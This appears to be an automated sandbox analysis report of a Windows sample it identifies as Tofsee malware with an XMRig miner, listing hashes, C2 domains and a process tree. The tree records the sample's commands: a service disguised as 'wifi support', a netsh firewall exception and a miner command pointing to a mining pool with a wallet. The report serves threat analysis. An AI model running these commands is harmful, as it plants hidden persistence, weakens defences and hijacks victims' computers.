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Overview

overview

10

Static

static

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2022, 10:38

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General

  • Target

    1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e.exe

  • Size

    185KB

  • MD5

    00ed2b06962df0988e8fcbdd2207a47b

  • SHA1

    5f8e780dff6f64a9500c81640f44ace1d9a8b4bf

  • SHA256

    1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e

  • SHA512

    1f2e52065ea6e6e14af2a23d909b3e3b271b735c16bba2b3cb63ffdde7a23bf46328e974e5349f969e6289d50945aadb451b2c5d536ac688d4808c78e1265871

  • SSDEEP

    3072:zIjusDwaMzXw52sjl+oRbrlt+KrbDAbEakHZzKwVa4P:E0aMzX/oNRt+KcEa6zZa4P

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e.exe
    "C:\Users\Admin\AppData\Local\Temp\1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nnkpoxhi\
      2⤵
        PID:4764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe" C:\Windows\SysWOW64\nnkpoxhi\
        2⤵
          PID:1576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nnkpoxhi binPath= "C:\Windows\SysWOW64\nnkpoxhi\yermfmzu.exe /d\"C:\Users\Admin\AppData\Local\Temp\1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nnkpoxhi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nnkpoxhi
          2⤵
          • Launches sc.exe
          PID:4920
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1876
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 1244
          2⤵
          • Program crash
          PID:2584
      • C:\Windows\SysWOW64\nnkpoxhi\yermfmzu.exe
        C:\Windows\SysWOW64\nnkpoxhi\yermfmzu.exe /d"C:\Users\Admin\AppData\Local\Temp\1969b4f5d2e6b114591c04d5eface4778e34056427fa2cbc1458cb1543348d5e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3924
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 884 -s 532
          2⤵
          • Program crash
          PID:2380
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1616 -ip 1616
        1⤵
          PID:4824
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 884 -ip 884
          1⤵
            PID:2004

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe
            Filesize

            12.2MB

            MD5

            6101d519507262b91c75397c15954973

            SHA1

            bdf203b0bedcf46b09588e981e706e69268eccb3

            SHA256

            69cb44c33981a0dbf22d9318d8ee521c1c8c4191bc89d041e62d0bc73d155b61

            SHA512

            911c4a548d377e7b524e17fdebe0a32e4e961b5ef0b98cf0da9c0cecb500f354aaa8636a92f0d2e938ee687ced107660c12ba03c557b886a000466bc99dd710d

            Download Submit

          • C:\Windows\SysWOW64\nnkpoxhi\yermfmzu.exe
            Filesize

            12.2MB

            MD5

            6101d519507262b91c75397c15954973

            SHA1

            bdf203b0bedcf46b09588e981e706e69268eccb3

            SHA256

            69cb44c33981a0dbf22d9318d8ee521c1c8c4191bc89d041e62d0bc73d155b61

            SHA512

            911c4a548d377e7b524e17fdebe0a32e4e961b5ef0b98cf0da9c0cecb500f354aaa8636a92f0d2e938ee687ced107660c12ba03c557b886a000466bc99dd710d

            Download Submit

          • memory/884-149-0x0000000000723000-0x0000000000733000-memory.dmp

            Filesize

            64KB

            Download

          • memory/884-150-0x0000000000400000-0x0000000000464000-memory.dmp

            Filesize

            400KB

            Download

          • memory/1616-143-0x00000000005A8000-0x00000000005B9000-memory.dmp

            Filesize

            68KB

            Download

          • memory/1616-133-0x00000000004F0000-0x0000000000503000-memory.dmp

            Filesize

            76KB

            Download

          • memory/1616-134-0x0000000000400000-0x0000000000464000-memory.dmp

            Filesize

            400KB

            Download

          • memory/1616-144-0x0000000000400000-0x0000000000464000-memory.dmp

            Filesize

            400KB

            Download

          • memory/1616-132-0x00000000005A8000-0x00000000005B9000-memory.dmp

            Filesize

            68KB

            Download

          • memory/1724-177-0x00000000007E0000-0x00000000008D1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/1724-172-0x00000000007E0000-0x00000000008D1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3924-159-0x0000000001D70000-0x0000000001D80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3924-168-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/3924-151-0x00000000007E0000-0x00000000007F5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3924-152-0x00000000007E0000-0x00000000007F5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3924-153-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/3924-156-0x0000000001D60000-0x0000000001D66000-memory.dmp

            Filesize

            24KB

            Download

          • memory/3924-146-0x00000000007E0000-0x00000000007F5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3924-162-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/3924-165-0x0000000007580000-0x000000000798B000-memory.dmp

            Filesize

            4.0MB

            Download